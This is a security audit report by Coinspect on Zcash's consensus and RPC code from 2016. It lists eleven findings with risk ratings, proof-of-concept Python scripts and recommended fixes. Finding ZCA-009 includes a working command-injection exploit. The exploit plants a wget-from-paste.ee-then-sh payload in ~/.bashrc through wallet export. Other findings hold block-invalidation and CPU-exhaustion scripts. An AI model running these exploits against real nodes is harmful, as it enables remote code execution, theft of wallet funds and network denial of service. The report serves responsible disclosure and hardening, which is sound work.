coinspect

CASH

Source Code Review

Prepared for Zcash • October 2016

V1.5

1. Table of Contents

2. Executive Summary

Between August and October 2016, Zcash engaged Coinspect to perform a security audit of their implementation of the Zerocash protocol. The objective of the audit requested by Zcash was to evaluate the security of Zcash's innovations over the Bitcoin Core source code.

During the assessment, Coinspect identified **2** high-risk issues, **3** medium-risk issues, and **6** low-risk issues. The high-risk issues identified during the assessment are not remotely exploitable by themselves to steal funds or compromise the privacy Zcash users. The high-risk and moderate-risk issues identified affect the performance and availability of the p2p network.

3. Introduction

Zcash is an implementation of the Zerocash protocol based on the Bitcoin Core C++ code. It intends to offer a far higher standard of privacy and anonymity through a sophisticated zero-knowledge proving scheme which preserves confidentiality of transaction metadata.

A whitebox security audit was conducted on the Zcash source code in order to detect security, privacy, and availability related problems. Coinspect reviewed Zcash changes to Bitcoin Core, including their interaction with other parts of the Bitcoin protocol and other parts of the implementation.

The present report was completed on October 1st by Coinspect and includes results from the first and second phase of the audit.

3.1. Scope

The Zcash auditing strategy tasked experts with different specializations to focus on different aspects of the system.
The objective of the first phase of the audit requested Coinspect to review changes to the Bitcoin Core code, focusing on the "**core consensus**" pieces. The review included but was not limited to the following checks:

- JoinSplit operations
- Transaction validation
- Founder's Reward
- Block header changes
- Transaction signing
- Input validation
- Denial of service prevention
- Integer overflows
- New data structures
- Cryptographic weaknesses

The objectives of the second phase of the audit included:

- New RPC interface
- Wallet encryption
- Founder’s Reward address rotation
- Information disclosure
- Changes made to the consensus code after the first phase concluded.

The audit conducted by Coinspect did not include: the zkSNARK cryptographic scheme, the libsnark implementation, or Equihash design.

4. Summary Of Findings

ID	Description	Risk
ZCA-001	DoS attack if orphan JoinSplit transactions are enabled	Low
ZCA-002	Inheriting FindAndDelete from Bitcoin is considered dangerous	Medium
ZCA-003	scriptSig malleability allows 51% attack by invalidating honest miners blocks	High
ZCA-004	Decrease in huge-reorg security margin	Low
ZCA-005	Unlimited number of transaction proofs allows CPU-exhaustion attacks	Medium
ZCA-006	Erroneous nValueOut range check allows CPU-exhaustion attacks	High
ZCA-007	Forever growing nullifier set will end up being stored in nonvolatile memory	Low
ZCA-008	Forever growing commitment tree slows down commitment lookup	Low
ZCA-009	Improper destination path validation in RPC calls allows arbitrary command execution	Medium
ZCA-010	Improper destination file permissions check in RPC calls could expose secret keys	Low
ZCA-011	Information exposure through log files	Low

5. Findings

ZCA-001 DoS attack if orphan JoinSplit transactions are enabled

Category Availability

Total Risk **Low** | Impact: High | Likelihood: Low[1] | Effort to Fix: Medium

-1- Low, as orphans with JoinSplits are currently disabled

Description

Initial expensive verifications in transaction checking allow a DoS attack if orphan transactions with JoinSplits are enabled. In Bitcoin a transaction is checked in stages, first all non-expensive operations and finally signatures are verified. This is to prevent a DoS attack discovered circa 2012 that could be amplified by using orphan transactions. Orphan transactions must be detected using the least amount of CPU. If an orphan transaction X is stored in mapOrphans and X depends on an output of the transaction Y and an output of the transaction Z, both missing; then when Y enters the memory pool the reprocessing of X will be triggered. Since X still depends on the missing Z, the transaction will not be evicted from mapOrphans. An attacker can therefore make 10,000 transactions X(i) having vjoinsplit proofs, where each X(i) references a set of 20 single-output transactions { Y(i) } and an output of the transaction Z. The attacker sends all X(i) transaction to a victim node. The node will store all X(i) as orphans. Then the attacker sends all transactions Y(i). Each Y(i) will trigger the re-verification of all X(i) transactions. If validation of each vjoinsplit proof takes 10 msec, then for each transaction Y(i) received by the victim node, it has to spend 100 seconds of processing all dependant X(i) transactions. The attack finishes when all Y(i) transactions have been sent; transaction Z is never sent. The result, in this example, is that the victim node is forced to process transactions for 33 minutes.

Recommendations

Possible Solutions:

- Check vjoinsplit proofs as the last step of transaction validation.
- Create a proof validation cache.
- Never enable storage of orphan transactions with vjoinsplit proofs.

ZCA-002	Inheriting FindAndDelete from Bitcoin is considered dangerous
Category	Availability
Total Risk	**Medium** | Impact: High | Likelihood: Low | Effort to Fix: Low
Location	src/script/interpreter.cpp:EvalScript() CScript::FindAndDelete()
Fix	Pull #1458

Description

Early Bitcoin implementations used a different scripting evaluation system, involving the concatenation of scriptPub and scriptSig, and then executing the resulting script. That old system was replaced by the current system, where the two scripts are evaluated one after the other using the same stack. However, two software relics from those times were dragged until today: the CODESEPARATOR opcode and the removal of the signature from the script prior to hashing for signature verification. Both have very far reaching consequences that hinder creating a re-implementation of the Bitcoin or Zcash protocols.
Additionally, an undisclosed vulnerability reported this year exists that allows an attacker to perform a denial of service attack to the whole network abusing these odd protocol relics.

Recommendations

Remove the CODESEPARATOR opcode and remove the FindAndDelete() calls in interpreter.cpp.

References

- Peter Todd - The difficulty of writing consensus critical code: the SIGHASH_SINGLE bug. https://decred.org/research/todd2014.pdf

ZCA-003	scriptSig malleability allows 51% attack by invalidating honest miners blocks
Category	Consensus
Total Risk	**High** | Impact: High | Likelihood: High | Effort to Fix: Medium
Location	CTransaction::GetTxid
Fix	Issue #1304 Pull #1316

Description

The new CTransaction::GetTxid method does not include scriptSig fields in the hash calculation, allowing attackers to invalidate blocks by modifying the scriptSig fields of its transactions. Nodes will reject the original valid block as 'duplicate-invalid' after receiving the block modified by attackers.
Adversaries can invalidate blocks of honest miners to mount attacks against the Zcash network. There are several possible attacks using this vector:

- 51% attack by invalidating all blocks of the remaining miners. The attacker needs good network connectivity in order to spread the modified blocks before the honest nodes spread the authentic blocks. This can be achieved by quickly announcing them by inventory messages, even before the block are fully received or checked.
- Sybil attacking a node that is downloading historic data of the blockchain. The attacker can send an invalidated historic block in order to prevent the victim from synchronizing correctly with the best chain

Vulnerability Details

The GetTxid method was added to CTransaction in pull request #1144 as an attempt to fix transaction malleability. Calls to CTransaction::GetHash were replaced by calls to GetTxId. The scriptSig field of each input CTxIn, and the joinSplitSig field are cleared before calculating the double SHA256 hash of the transaction.
The following Python script, and a zcashd running in regtest mode were used to verify the vulnerability. The script requires modified mininode.py and rpcmining.cpp files.

```
from mininode import CBlock
from StringIO import StringIO
from authproxy import AuthServiceProxy, JSONRPCException
api = AuthServiceProxy("http://username:password@127.0.0.1:18232")
```

```
#create a transaction
toaddr = api.getnewaddress()
api.sendtoaddress(toaddr,3)
#regtest generate method modified to return the block without processing it
blockorig = api.generate(1,False)[0]
cblockorig = CBlock()
#decode the returned block
cblockorig.deserialize(StringIO(blockorig.decode('hex')))
#invalidate scriptSig, this is only one of the possible ways to do it
cblockorig.vtx[1].vin[0].scriptSig+='\xb0'*256
cblockorig.calc_sha256()
#show block hash
cblockorig.hash
#get last block hash
api.getbestblockhash()
#submit modified block
api.submitblock(cblockorig.serialize().encode('hex'))
api.getbestblockhash()
#submit original block
api.submitblock(blockorig)
api.getbestblockhash()
```

Sample Output

```
zc@zc:~/zcash.current/zcash/qa/rpc-tests/test_framework$ python
Python 2.7.6 (default, Jun 22 2015, 17:58:13)
[GCC 4.8.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from mininode import CBlock
>>> from StringIO import StringIO
>>> from authproxy import AuthServiceProxy, JSONRPCException
>>> api = AuthServiceProxy("http://username:password@127.0.0.1:18232")
>>>
>>> toaddr = api.getnewaddress()
>>> api.sendtoaddress(toaddr,3)
u'f3cc090b818be64eb2350233e52c490f26649b7851df6de37de5395578e89907'
>>> blockorig = api.generate(1,False)[0]
>>> cblockorig = CBlock()
>>> cblockorig.deserialize(StringIO(blockorig.decode('hex')))
>>> cblockorig.vtx[1].vin[0].scriptSig+='\xb0'*256
>>> cblockorig.calc_sha256()
>>> cblockorig.hash
'3e184195b9e0b206eb71d66a9947d4617b84f8bd434ab518cd4cef4c7a855349'
>>> api.getbestblockhash()
u'6c700501423285843612dd9928f8872739e28245f17399ec429941752733bd21'
>>> api.submitblock(cblockorig.serialize().encode('hex'))
u'rejected'
>>> api.getbestblockhash()
u'6c700501423285843612dd9928f8872739e28245f17399ec429941752733bd21'
>>> api.submitblock(blockorig)
u'duplicate-invalid'
>>> api.getbestblockhash()
u'6c700501423285843612dd9928f8872739e28245f17399ec429941752733bd21'
>>>
```

Recommendations

Implement one of the following proposed solutions:

- In block headers, introduce a new field “fullTxMerkleTreeRoot” that references a second Merkle-Tree, containing the full transaction hashes. The new tree must be also checked by the consensus code.
- Modify the leaves of the original Merkle-Tree to contain two fields {txId,fullTxhash} instead of only the TxId.

ZCA-004	Decrease in huge-reorg security margin
Category	Consensus
Total Risk	**Low** | Impact: Low | Likelihood: Low | Effort to Fix: Low
Fix	Issue: [#1387](#1387)

Description

Bitcoin has a 100 block maturity lapse for coinbase transactions. Zcash has an average of 2.5 minutes block interval time, but keeps the 100 maturity rule. The intention of coinbase maturity is to prevent transfers from being reverted in case of a huge honest blockchain reorganization. Such a long reorganization, involving 16 hours of rollback has never been seen in the history of Bitcoin. Examples of events that may trigger a huge reorg event are:

- Catastrophic network partition due to Internet infrastructure failing (e.g. in case of war, ET attack, or natural disaster) that force two large components of the network to be unconnected for a long period.
- The late discovery of a bug in the system, after several invalid blocks have been wrongly accepted as valid by the network, and only if solving such bug by adding special exceptions in the code is not possible. In this case, the users would invalidate the bad branch and let the node memory pools and users reintroduce the transactions they are aware of.

The block maturity serves to increase the fungibility of the cryptocurrency: if a cryptocurrency coinbase maturity is low, then coins derived from recent coinbases will be valued lower, as they are at a higher risk of being reverted.
Another aspect of coinbase maturity is legal: if a miner pays with recently earned rewards to a merchant and then the network reverts the payment, then it is not clear who is to blame for the loss.

Some cryptocurrencies, such as Ethereum, have no coinbase maturity at all: the user must wait a longer interval to achieve true fungibility, and the responsibility of waiting long enough lies always on the payment receiver.

Having a 2.5 minutes average block interval time and a 100 maturity rule, zCash longest reorganization with full replay capabilities of non-anonymous transactions is about 4 hours. In Zcash, anonymous transactions are anchored to the blockchain and so they have very low block maturity, so it seems that there is no benefit for coinbase maturity. There are several arguments for coinbase maturity even for Zcash. First, if an anonymous transaction is reverted, the payor still has the funds back, so that it could re-issue another transaction (this could be an automatic functionality of the wallet). In case the payor used recently created funds from a coinbase, it may be the case that the payor does not have the funds anymore. Therefore the coins from both types of payments have different fungibility properties. Zcash increases fungibility using a coinbase maturity period. Second, the coinbase maturity also works as a security deposit: miners are discouraged from attacking the network because the earned coins are locked for a period of time, and an attack may render them less valuable. A long coinbase maturity period, while also allowing additional inputs in the coinbase transaction, can help Zcash transition from proof-of-work to hybrid proof-of-stake/PoW easily. Third, in case of an unexpected hard-fork crisis, it is easier to achieve consensus among the top mining pool maintainers on which fork to choose if the newly generated coins on both competing forks are still locked and have not been already spent (distributed among pool client miners).

Recommendations

Four hours has been shown to be the approximate time it takes for a highly qualified team to resolve an unexpected hard-fork crisis, so the current 100 block maturity seems enough. However we recommend increasing the maturity period to one day (576 blocks), to increase the security bonding period for miners.

ZCA-005	Unlimited number of transaction proofs allows CPU-exhaustion attacks
Category	Availability
Total Risk	**Medium** | Impact: Medium | Likelihood: Medium | Fix: Medium
Location	src/main.cpp:CheckTransaction()
Fix	Issue: #1388

Description

Zcash transactions can hold an unlimited number of JoinSplit proofs. The limit is indirectly enforced by the maximum block size, which limits the transaction size, which limits the number of JoinSplit elements that can be stored in the vjoinsplit vector. Assuming a JoinSplit consumes 1 Kbyte, a “heavy” transaction can hold 1000 vjoinsplit elements. If verifying a JoinSplit proof takes 10 msec, then verifying the heavy transaction would take 10 seconds. During this period the main lock of zcashd is held, so no other transaction can be processed. Therefore such transaction could be used to lock a node with a CPU-exhaustion attack. If the transaction is invalid because the last proof does not verify, then the transaction will not be broadcast and the attacker can use the same transaction to attack another node. If the transaction is valid, then the attacker can send a set of heavy transactions to the network at different entry points and force the network to be locked for long periods.

Recommendations

Consider implementing one or more of the following suggestions:

- Move the verification of JoinSplit proofs to the last step of transaction verification.
- Make a transaction with more than 10 JoinSplit proofs non-standard.
- Increase the fees nodes and miners require for each JoinSplit element.
- Count each JoinSplit proof as a 10 sigops (block maximum is 20K sigops)

ZCA-006	Erroneous nValueOut range check allows CPU-exhaustion attacks
Category	Input Validation
Total Risk	**High** | Impact: High | Likelihood: High | Effort to Fix: Low
Location	src/main.cpp:CheckTransactionWithoutProofVerification()
Fix	Issue #1319 Pull #1341

Description

The value that a transaction creates corresponds to the sum of all Bitcoin-like outputs, plus the it->vpub_old fields of all vjoinsplit elements, as specified by CTransaction::GetValueOut(). However, CheckTransactionWithoutProofVerification() in main.cpp performs the following check:

```
// Ensure that joinsplit values are well-formed
BOOST_FOREACH(const JSDescription& joinsplit, tx.vjoinsplit)
{
      (...)
      nValueOut += joinsplit.vpub_new;
      if (!MoneyRange(nValueOut)) {
            return state.DoS(100, error("CheckTransaction(): txout total
out of range"),REJECT_INVALID, "bad-txns-txouttotal-toolarge");
      }
}
```

The code should add "joinsplit.vpub_old" instead of "joinsplit.vpub_new". The error may have been caused because the names "vpub_old" and "vpub_new" are confusing.

Vulnerability Details

CTransaction::GetValueOut() throws a "value out of range" exception when the total output value of a transaction is less than zero or more than MAX_MONEY.
Attackers can continuously send the same out-of-range transaction to a target node without being banned. The CPU-intensive zk-SNARK verification is executed before the first invocation of GetValueOut, fromNonContextualCheckInputs.
The attack was tested by sending the **same** transaction 10,000 times against a local node. The data was sent in seconds but zcashd needed 8 minutes to process the transactions using 100% CPU.
The transactions created with the following Python script pass all the CheckTransaction validations and the JoinSplit verification.

```python
#!/usr/bin/python
from StringIO import StringIO
from test_framework.authproxy import AuthServiceProxy, JSONRPCException
from test_framework.mininode import CTransaction, CTxOut
from random import getrandbits
from sys import stderr

MAX_COIN = 21000000*100000000
scriptPubKey = '76a914'+'%040x'%getrandbits(160)+'88ac'
scriptPubKey = scriptPubKey.decode('hex')

api = AuthServiceProxy("http://username:password@127.0.0.1:18232")
zcaddress = api.zcrawkeygen()["zcaddress"]

#create a transaction without inputs and a single max value output
mtx = CTransaction()
mtx.vout.append(CTxOut(MAX_COIN,scriptPubKey))
mtx_raw = mtx.serialize().encode('hex')

print >> stderr, "Calling zcrawjoinsplit .."
js = api.zcrawjoinsplit(mtx_raw, {}, {zcaddress:0.001}, 0.001, 0.0)
print >> stderr, "Signing .."
mtx_sig = api.signrawtransaction(js["rawtxn"])["hex"]

jstx = CTransaction()
jstx.deserialize(StringIO(mtx_sig.decode('hex')))
print >> stderr, jstx
print mtx_sig
open('./tx_maxout', 'wb').write(mtx_sig)
```

Recommendations

Correct the code and consider renaming the “vpub_old” and “vpub_new” fields to less confusing names.

ZCA-007	Forever growing nullifier set will end up being stored in nonvolatile memory
Category	Performance
Total Risk	**Low** | Impact: Low | Likelihood: Low | Effort to Fix: Low
Location	src/txdb.cpp
Fix	Issue: #1390

Description

Each Zcash transaction that contains a JoinSplit proof add two nullifier items to the nullifiers pool. Every nullifier must be kept forever to prevent double-spends. If the nullifier list becomes too large, transaction processing will be slowed down by external storage access.

Recommendations

To prevent such situation, one or more bloom filters could be used to test nullifiers before looking into the nullifier pool. If bloom filters returns false, then no further expensive lookup is required. If a bloom filter returns true, expensive disk accesses can be performed to get the accurate result.

ZCA-008	Forever growing commitment tree slows down commitment lookup
Category	Performance
Total Risk	**Low** | Impact: Low | Likelihood: Low | Effort to Fix: Medium
Location	CWallet::WitnessNoteCommitment()
Fix	Issue: #1391

Description

The function WitnessNoteCommitment() scans every block, every transaction and every JoinSplit proof to lookup commitments and create the Merkle witnesses. Blocks are read from disk. This linear process is inefficient and will soon become slow.

Recommendations

Maintain a data structure that allows more efficient lookup and construction of Merkle witnesses. This could be achieved by storing in a separate cache file the sequence of note commitments associated with the best chain for blocks older than the current tip height minus 100.

ZCA-009	Improper destination path validation in RPC calls allows arbitrary command execution
Category	Input Validation
Total Risk	**Medium** | Impact: High | Likelihood: Low | Effort to Fix: Medium
Location	rpcdump.cpp
Fix	Issue: #1497

Description

Authenticated RPC users can use the `z_exportwallet`, `dumpwallet`, and `backupwallet` methods to create or overwrite existing files in any location of the system accessible by the zcashd daemon. An attacker may be able to overwrite or create critical files, such as configuration files or scripts.
For example, the following files in Linux systems: `~/.bashrc, ~/.ssh/authorized_keys, ~/.zcash/zcash.conf`.
Although the attacker does not completely control the data written, the method `importprivkey` can be used to set the label of transparent addresses to any text string. Setting a label is enough to achieve arbitrary command execution as demonstrated below.

```
#!/usr/bin/python
# Copy to zcash/qa/rpc-tests
from test_framework.authproxy import AuthServiceProxy, JSONRPCException
#label="\nblocknotify={wget,--no-check-certificate,https://paste.ee/r/u7b5s};{sh,u7b5s}"
label = ';{wget,--no-check-certificate,https://paste.ee/r/u7b5s};{sh,u7b5s}'
api = AuthServiceProxy('http://username:password@127.0.0.1:18232')
api.importprivkey('cPE4h5Au9xmrgc8fCQuZYC2JqqZmmy4UovTbfAy1xKQhk83kFThW',label)
api.z_exportwallet('/home/admin/.bashrc')
```

A shell script file is downloaded and executed the next time the node's administrator logs into the system

```
$ ssh admin@zcashnode
Welcome to Ubuntu 14.04.5 LTS (GNU/Linux 3.18.26-guest-4-4751b4a-x86_64 x86_64)

Last login: Fri Oct  07 15:49:35 2016 from 130.347.450.56
-bash: cPE4h5Au9xmrgc8fCQuZYC2JqqZmmy4UovTbfAy1xKQhk83kFThW: command not found
--2016-10-07 15:50:31--  https://paste.ee/r/7DVvf
Resolving paste.ee (paste.ee)... 2400:cb00:2048:1::6812:3114, 2400:cb00:2048:1::6812:3014,
104.18.48.20, ...
Connecting to paste.ee (paste.ee)|2400:cb00:2048:1::6812:3114|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/plain]
Saving to: '7DVvf'
 [ <=>     ] 47 --.-K/s   in 0s
2016-10-07 15:50:31 (5.19 MB/s) - '7DVvf' saved [47]

All your coinz are belong to uz
-bash: cPPiJvCfkiYk71igZwm8TXVFe5r5ZW7E2e5spXnCEX9kvLMrBZsr: command not found
-bash: cQ6ZvfJoSNE8TXAy2LgoVok8f36gGdrAjfiVdu3sBxFTosPcBhE3: command not found
-bash: cPW4FfcTm9hYCmvrfEnspbzg5MqzbYKgsM9Yrm29v42cUWYN1L5z: command not found
-bash: cUww2V8RKDAiFi6YcEzLWb57wBb4SoT7HU2D226fwkmkLbQTRR6A: command not found
-bash: cQDRXgmuqHig7qppZf5j8Wid3zNp3V8BWF41o1ByMVE64NUha1Vh: command not found

( ... )
admin@zcash:~$
```

Instead of waiting for the administrator to log in, attackers can try to overwrite `~/.zcash/zcash.conf` including a `blocknotify=command` line and execute commands every time the best block changes. New line characters are escaped in the file created by `z_exportwallet` but a workaround could be found.

Adversaries with RPC access can empty the wallet, but executing commands allows them to maintain access to the system and wait for the wallet balance to increase before emptying it. Executing commands also allow attackers to persist on the system to collect information to de-anonymize future transactions.

The risk is higher if zcashd's RPC interface is used in web and mobile wallets back-ends to create transactions.
Bitcoin wallets back-ends often use bitcoind's RPC with wallet functionality disabled to query public blockchain information; but we can expect the first Zcash web and mobile wallets to use zcashd's RPC with wallet functions enabled to make transactions if alternative implementations of Zcash are not available.

Recommendations

Do not allow to overwrite existing files and restrict the creation of new files. Consider returning the wallet data in a JSON response instead of writing to the file system.

ZCA-010	Improper destination file permissions check in RPC calls could expose secret keys
Category	Data Confidentiality
Total Risk	**Low** | Impact: Low | Likelihood: Low | Effort to Fix: Low
Location	rpcdump.cpp

Description

Authenticated RPC users can use the `z_exportwallet`, `dumpwallet`, and `backupwallet` methods to make copies of wallet data including secret keys. The permissions of pre-existing destination files are not checked by zcashd before overwriting them. If the access permissions of existing files are too open, secrets key will be exposed to other users of the system.

Recommendations

Do not allow users to overwrite existing files with wallet copies. Set appropriate file permissions for new wallet copies and check the permissions of the parent folders to avoid write and read access from unintended users.

ZCA-011	Information exposure through log files
Category	Data Confidentiality
Total Risk	Low | Impact: Low | Likelihood: Low | Effort to Fix: Low
Location	asyncoperation_sendmany.cpp, rpcdump.cpp
Fix	Issue: [#1504](#1504)

Description

Private addresses and Information of protected transactions including plaintext of memo fields are logged to `~/.zcash/*/debug.log`, a log file in persistent storage that is not necessarily encrypted.

`src/wallet/rpcdump.cpp:308`

```
307  if (pwalletMain->HaveSpendingKey(addr)) {
308     LogPrintf("Skipping import of zaddr %s (key already present)\n",
..  CZCPaymentAddress(addr).ToString());
..
312 LogPrintf("Skipping import of zaddr %s (key already present)\n",
    CZCPaymentAddress(addr).ToString());
```

`src/wallet/asyncrpcoperation_sendmany.cpp:115,761`

```
113 std::string s = strprintf("async rpc %s finished (status=%s", getId(),
    getStateAsString());
114 if (success) {
115     s += strprintf(", tx=%s)\n", tx_.ToString());
..
761 LogPrint("asyncrpc", "%s: found unspent note (txid=%s, vjoinsplit=%d, ciphertext=%d,
..  amount=%s, memo=%s)\n",
..                  getId().substr(0, 10),
                    entry.jsop.hash.ToString().substr(0, 10),
                    entry.jsop.js,
                    int(entry.jsop.n),  // uint8_t
                    FormatMoney(entry.plaintext.value, false),
767                 HexStr(data).substr(0, 10)
```

Recommendations

Do not log to persistent storage z-addresses or information of transactions made by the user.

6. Opportunity to fix Bitcoin’s known problems

As Zcash does not need to be compatible with Bitcoin, launching Zcash creates the opportunity to fix old and known problems in the Bitcoin protocol. Also it creates the opportunity to remove unnecessary complexity that can lead to future attacks.
Here is a list of known problems and the reasons why fixing them is important.

6.1. Remove the distinction between mandatory and nonmandatory input validation flags

Bitcoin underwent a number of restrictions on transactions to prevent different attacks. Transactions relayed by the network must pass stricter checks than transactions that are included in blocks. This leads to increased complexity in code. But miners are still allowed to include transactions that may lead to malleability and DoS attacks. For instance, the SCRIPT_VERIFY_CLEANSTACK flag is not part of the consensus code, and in conjunction with non-signed scriptSig directly opens the network to transaction malleability by miners (but maintaining the same TxID).

At least the following flags should become mandatory:

- SCRIPT_VERIFY_DERSIG
- SCRIPT_VERIFY_STRICTENC
- SCRIPT_VERIFY_CLEANSTACK
- SCRIPT_VERIFY_CHECKLOCKTIMEVERIFY
- SCRIPT_VERIFY_LOW_S

6.2. Add a block height field directly to header (apart from the coinbase field)

Bitcoin downloads the block headers and, depending on the headers, it downloads block contents. Having no sense of the height of a received header restricts the set of protocols that can be used for this purpose. Without height information, orphan headers are of no value because they can be replays of past orphan blocks. Therefore the block height field should be added to the block header.
This does not mean that the header should be removed from the coinbase field, since the height is needed to prevent the creation of duplicate UTXOs.

6.3. P2SH using scriptSig that is not a script is an aberration of nature

P2SH was created because OP_EVAL (a competing and cleaner approach) raised questions about the possibility to exploit it by DoS using recursion. Re-implementing OP_EVAL on Zcash with limited recursion would provide the the same functionality while keeping the scripting

system free of exceptions. The drawback of this approach is that Bitcoin wallets that use P2SH would need changes to adapt to the OP_EVAL model.
A middle-ground solution would be to add to transaction outputs a bit “scriptSigIsP2SH” that marks an output as P2SH without the need to interpret the script format.
If scriptSigISP2SH bit is true, then the scriptSig would not be interpreted as a script, but as arbitrary data in the format “OP_HASH160 20 [20 byte hash] OP_EQUAL”.

6.4. Add script versioning

Segwit for Bitcoin provides a system to upgrade the scripting system as soft-forks. Zcash could allow the same functionality without segwit’s complexity by adding a single byte “scriptVersion” per output. The same byte could hold in its 7th bit the flag scriptSigISP2SH.

6.5. Move the height field in the coinbase script field to the coinbase prevout hash field

The coinbase script field was originally un-formatted, so the height had to be encoded as a script value (BIP 34). This is unnatural and complicates parsing. Since the coinbase prevout hash consists of all zeros, it’s much preferable to encode the height in the 4 least significant bytes of the prevout hash and update the definition of coinbase transaction based on masking the last 4 bytes when testing the prevout hash field for zero. This also solves the problem in "A fix for transaction malleability" Pull Request #1144 that requires to treat coinbase transaction differently to prevent coinbase transactions with the same id. Also this change also makes for simpler fast transaction graph analyzers since they don’t need to keep scriptSig information for coinbases.

6.6. Mask out the must-be-zero bits in the previous-block-hash (block header) so miners can reuse them for nonce space

This is a minor space optimization that helps Bitcoin, but does not provide Zcash much benefit since Zcash already provides a 256 bit nonce space.

6.7. Allow adding additional inputs to generation transactions

Currently coinbase transactions have a single input limit. This prevents letting a miner create a bond time-locked to coinbase maturity time by including an additional input to the coinbase transaction. Bonds can be used to penalize miners that create blocks at the same height in two competing forks. Although bonds are not required when the subsidy is high, it may be the case that the blockchain needs to soft-fork in the future and require such bonds.

6.8. Include value of TxOut being spent in signature hash

To allow hardware wallets to correctly prompt the user what they are signing for, it’s important that the confirmation messages includes the number of bitcoins being transferred and the fee being paid. If the hardware does not know the exact number of bitcoins collected by its inputs, it cannot know the transaction fees, then an active attacker in the PC could cheat the hardware wallet to leak bitcoins into transaction fees. To compute the input amount, the hardware wallet needs to process all transactions referred by prevouts. This can be a huge amount of information that must be transmitted and processed by the hardware wallet. To prevent it, segwit includes in the hashed message the number of bitcoins related to an input when signing such input. Therefore, even if the hardware wallet could be cheated to sign an invalid transaction, it cannot be cheated to sign a valid transaction leaking bitcoins into transaction fees. In a similar way the input amounts should be included along the hashed transaction for signing.

6.9. Prevent O(n2) hashing attack by serializing only the hashes of inputs and outputs

Segwit prevents $O(n^2)$ hashing attack by changing how transactions are serialized for signing. A small modification to current Zcash hashing method can also prevent it (Serialize() in interpreter.cpp). Instead of serializing inputs and outputs, only their hashes are serialized. This brings the possibility to later cache input/output hash digests and re-use them and prevent the attack.

6.10. CHECKMULTISIG popping one-too-many items off the stack

The CHECKMULTISIG opcode has a bug that makes it pop an additional unwanted element from the stack. Therefore, scripts using CHECKMULTISIG must provide an additional dummy element.

6.11. Extended Scripts opcodes can be enabled, after security audit

Bitcoin has a scripting language that has been crippled due to suspicion of security concerns regarding DoS attacks. The removed opcodes could be re-included, after careful security audit to prevent resource abuse.

6.12. Include the maximum size of a scriptSig or transaction for each input signature

Miners/relays should not be able to inject extra arbitrary data into transactions. Currently relays can insert arbitrary data in scriptSig fields of a transaction, since the transaction id does not cover such fields. Only the IsStandard() check protects such malleability, but IsStandard() is not part of the consensus, but rather of the implementation, and DoS prevention should not be based on IsStandard() restrictions. If an attacker manages to add too much data, he can make the transaction be broadcasted to the network, but prevent such transaction from being included in a block (due to low fees/bytes). This problem currently exists in segwit. Therefore, the maximum size of the transaction (or better, of each scriptSig) should be signed.

Some of these suggestions are listed in the Bitcoin Hardfork Wishlist

CASH

coinspect
coinspect.com